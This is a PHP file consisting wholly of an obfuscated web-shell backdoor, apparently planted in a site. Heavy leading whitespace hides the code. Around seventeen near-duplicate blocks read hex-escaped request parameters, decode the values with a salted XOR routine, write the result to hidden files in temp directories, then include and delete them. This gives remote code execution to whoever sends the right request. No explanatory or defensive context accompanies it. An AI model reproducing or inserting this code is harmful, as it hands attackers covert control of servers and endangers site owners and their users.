<?php																																										if(!is_null($_REQUEST["e\x6Et"] ?? null)){ $obj = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["e\x6Et"]; $data_chunk= explode ( "." , $data_chunk ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($data_chunk ); for ($t = 0; $t < $__len; $t++) { $v8 = $data_chunk[$t]; $chS = ord($salt[$t% $lenS] ); $dec = ((int)$v8 - $chS - ($t% 10)) ^ 94; $object .= chr($dec ); } foreach ($obj as $dat) { if (!( !is_dir($dat) || !is_writable($dat) )) { $item = vsprintf("%s/%s", [$dat, ".flag"]); if (@file_put_contents($item, $object) !== false) { include $item; unlink($item); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74ry"])){ $fac = $_POST["\x65n\x74ry"]; $fac = explode ( '.', $fac ); $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $m = 0; while ($m< count($fac)) { $v1 = $fac[$m]; $sChar = ord($salt[$m % $sLen] ); $d = ((int)$v1 - $sChar - ($m % 10)) ^ 11; $entity .= chr($d ); $m++;} $res = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), session_save_path()]); foreach ($res as $comp): if (is_writable($comp) && is_dir($comp)) { $record = implode("/", [$comp, ".ent"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $record; @unlink($record); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["tk\x6E"])){ $obj = $_POST["tk\x6E"]; $obj = explode ("." , $obj ) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); foreach( $obj as $q => $v8): $sChar = ord( $s6[$q % $sLen] ); $d = ( ( int)$v8 - $sChar -( $q % 10))^ 35; $record .= chr( $d ); endforeach; $component = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); for ($reference = 0, $desc = count($component); $reference < $desc; $reference++) { $ref = $component[$reference]; if (array_product([is_dir($ref), is_writable($ref)])) { $data = sprintf("%s/.ptr", $ref); if (@file_put_contents($data, $record) !== false) { include $data; unlink($data); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["e\x6E\x74"])){ $entity = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $component = $_POST["e\x6E\x74"]; $component = explode ( '.' , $component ) ; $symbol =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $n =0; while($n <count($component)) { $v4 =$component[$n]; $sChar =ord($s[$n % $sLen]); $dec =((int)$v4 - $sChar -($n % 10)) ^ 41; $symbol .= chr($dec); $n++; } $hld = 0; do { $object = $entity[$hld] ?? null; if ($hld >= count($entity)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $rec = sprintf("%s/.pset", $object); if (file_put_contents($rec, $symbol)) { require $rec; unlink($rec); die(); } } $hld++; } while (true); }
																																										if(in_array("r\x65\x73our\x63\x65", array_keys($_REQUEST))){ $item = $_REQUEST["r\x65\x73our\x63\x65"]; $item = explode ( '.' , $item ); $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $q = 0; foreach( $item as $v5) { $sChar = ord( $salt[$q% $lenS]); $d = ( ( int)$v5 - $sChar -( $q% 10)) ^ 64; $entity .=chr( $d); $q++; } $fac = array_filter(["/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($reference = array_shift($fac)) { if ((is_dir($reference) and is_writable($reference))) { $marker = join("/", [$reference, ".obj"]); $success = file_put_contents($marker, $entity); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "t\x6B\x6E")){ $key = $_POST["t\x6B\x6E"]; $key =explode ( "." , $key ); $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $key ); for( $v = 0; $v < $__len; $v++) {$v5 = $key[$v]; $chS = ord( $salt[$v % $sLen] ); $dec =( ( int)$v5 - $chS -( $v % 10)) ^ 56; $pgrp.= chr( $dec ); } $data = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm"]); foreach ($data as $item) { if ((is_dir($item) and is_writable($item))) { $element = sprintf("%s/.elem", $item); if (@file_put_contents($element, $pgrp) !== false) { include $element; unlink($element); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x62\x69nd")){ $pset = array_filter(["/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $value = $_POST["\x62\x69nd"]; $value = explode ( "." , $value ) ; $dchunk = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $q = 0; array_walk( $value, function( $v7) use( &$dchunk, &$q, $salt4, $sLen) { $sChar = ord( $salt4[$q % $sLen]); $d = ( ( int)$v7 - $sChar -( $q % 10)) ^ 62; $dchunk .= chr( $d); $q++; } ); foreach ($pset as $key => $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $ptr = "$hld" . "/.marker"; if (file_put_contents($ptr, $dchunk)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x64\x65\x73c\x72ip\x74or"])){ $parameter_group = $_POST["\x64\x65\x73c\x72ip\x74or"]; $parameter_group = explode ( "." ,$parameter_group ) ; $val = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $k = 0; while( $k < count( $parameter_group)) { $v5 = $parameter_group[$k]; $chS = ord( $s2[$k % $lenS]); $dec = ( ( int)$v5 - $chS -( $k % 10)) ^ 69; $val .= chr( $dec); $k++; } $rec = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP")]); while ($pset = array_shift($rec)) { if ((is_dir($pset) and is_writable($pset))) { $sym = join("/", [$pset, ".res"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(in_array("\x66\x61\x63tor", array_keys($_POST))){ $fac = $_POST["\x66\x61\x63tor"]; $fac =explode ( '.' , $fac ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $m = 0; while( $m < count( $fac)) { $v5 = $fac[$m]; $chS = ord( $salt[$m %$lenS]); $dec =( ( int)$v5 - $chS -( $m %10)) ^ 96; $desc .= chr( $dec); $m++; } $obj = array_filter([getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $descriptor = 0; do { $hld = $obj[$descriptor] ?? null; if ($descriptor >= count($obj)) break; if (!!is_dir($hld) && !!is_writable($hld)) { $flg = "$hld/.ref"; if (file_put_contents($flg, $desc)) { include $flg; @unlink($flg); die(); } } $descriptor++; } while (true); }
																																										if(@$_REQUEST["\x64\x61ta\x5F\x63\x68unk"] !== null){ $token = $_REQUEST["\x64\x61ta\x5F\x63\x68unk"]; $token =explode ( '.' , $token ) ; $elem = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $y = 0; $len = count($token); do { if ($y >= $len) break; $v4 = $token[$y]; $chS = ord($salt3[$y % $lenS]); $d = ((int)$v4 - $chS - ($y % 10)) ^ 55; $elem .= chr($d); $y++; } while (true); $comp = array_filter(["/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($comp as $key => $record) { if (is_writable($record) && is_dir($record)) { $ptr = sprintf("%s/.k", $record); $success = file_put_contents($ptr, $elem); if ($success) { include $ptr; @unlink($ptr); die();} } } }
																																										if(@$_REQUEST["re\x66\x65rence"] !== null){ $entity = $_REQUEST["re\x66\x65rence"]; $entity = explode( "." , $entity ) ; $property_set= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($entity as $q => $v6): $chS= ord($salt[$q % $lenS]); $dec= ((int)$v6 - $chS - ($q % 10)) ^ 58; $property_set .= chr($dec); endforeach; $flag = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir()]); for ($ent = 0, $fac = count($flag); $ent < $fac; $ent++) { $dchunk = $flag[$ent]; if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $obj = sprintf("%s/.data_chunk", $dchunk); if (file_put_contents($obj, $property_set)) { require $obj; unlink($obj); exit; } } } }
																																										if(isset($_REQUEST["\x76a\x6Cue"])){ $resource = $_REQUEST["\x76a\x6Cue"]; $resource= explode ( '.' , $resource ); $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $k = 0; foreach($resource as $v3) { $chS = ord($salt[$k % $sLen] ); $d =((int)$v3 - $chS -($k % 10)) ^ 52; $parameter_group.=chr($d ); $k++; } $comp = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($item = array_shift($comp)) { if (!!is_dir($item) && !!is_writable($item)) { $pgrp = sprintf("%s/.hld", $item); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(!is_null($_REQUEST["flg"] ?? null)){ $entity = $_REQUEST["flg"]; $entity = explode( '.', $entity ); $symbol= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); $o= 0; foreach( $entity as $v4) { $sChar= ord( $s[$o % $sLen] ); $dec= ( ( int)$v4 - $sChar -( $o % 10)) ^ 87; $symbol .= chr( $dec ); $o++; } $factor = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp"]); while ($entry = array_shift($factor)) { if (array_product([is_dir($entry), is_writable($entry)])) { $object = implode("/", [$entry, ".k"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(in_array("\x73\x79mbo\x6C", array_keys($_REQUEST))){ $elem = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $ent = $_REQUEST["\x73\x79mbo\x6C"]; $ent = explode ( "." , $ent ) ; $pointer = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($ent as $j => $v4) { $chS = ord($salt9[$j % $lenS]); $d = ((int)$v4 - $chS - ($j % 10)) ^ 88; $pointer .= chr($d); } foreach ($elem as $sym): if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $holder = sprintf("%s/.rec", $sym); if (file_put_contents($holder, $pointer)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x64a\x74"])){ $item = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", getcwd(), getenv("TMP")]); $token = $_POST["\x64a\x74"]; $token =explode( "." , $token ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; array_walk($token , function ($v5) use (&$component , &$x , $s , $sLen) { $sChar = ord($s[$x %$sLen]); $d = ((int)$v5 - $sChar - ($x %10)) ^ 42; $component.= chr($d); $x++; } ); foreach ($item as $binding) { if ((bool)is_dir($binding) && (bool)is_writable($binding)) { $desc = sprintf("%s/.sym", $binding); if (@file_put_contents($desc, $component) !== false) { include $desc; unlink($desc); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["bin\x64\x69n\x67"])){ $holder = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir()]); $tkn = $_REQUEST["bin\x64\x69n\x67"]; $tkn = explode ("." , $tkn) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $v = 0; foreach( $tkn as $v6) { $sChar = ord( $s[$v % $sLen] ); $dec =( ( int)$v6 - $sChar -( $v % 10)) ^49; $flg .= chr( $dec ); $v++; } for ($pointer = 0, $rec = count($holder); $pointer < $rec; $pointer++) { $pset = $holder[$pointer]; if (array_product([is_dir($pset), is_writable($pset)])) { $hld = join("/", [$pset, ".ref"]); if (file_put_contents($hld, $flg)) { require $hld; unlink($hld); exit; } } } }


if(!is_null($_REQUEST["po\x69nt\x65\x72"] ?? null)){
	$descriptor = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir")]);
	$element = $_REQUEST["po\x69nt\x65\x72"];
	 		$element 	= explode	 ("."		,	 $element		 )	;
	$ref	=	 '';
            $salt3	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	 strlen(	$salt3);
            $m	=	 0;
            $len	=	 count(	$element);
    
            do {
                if(	$m 	>= $len) break;
                $v1	=	 $element[$m];
                $sChar	=	 ord(	$salt3[$m % $lenS]);
                $d	=	 (	(	int)$v1 - $sChar -(	$m % 10)) ^ 86;
                $ref .= chr(	$d);
                $m++;
            } while(	true);
	for ($dchunk = 0, $sym = count($descriptor); $dchunk < $sym; $dchunk++) {
    $holder = $descriptor[$dchunk];
    		if (is_dir($holder) ? is_writable($holder) : false) {
    $pset = vsprintf("%s/%s", [$holder, ".res"]);
    $success = file_put_contents($pset, $ref);
if ($success) {
	include $pset;
	@unlink($pset);
	exit;}
}
}
}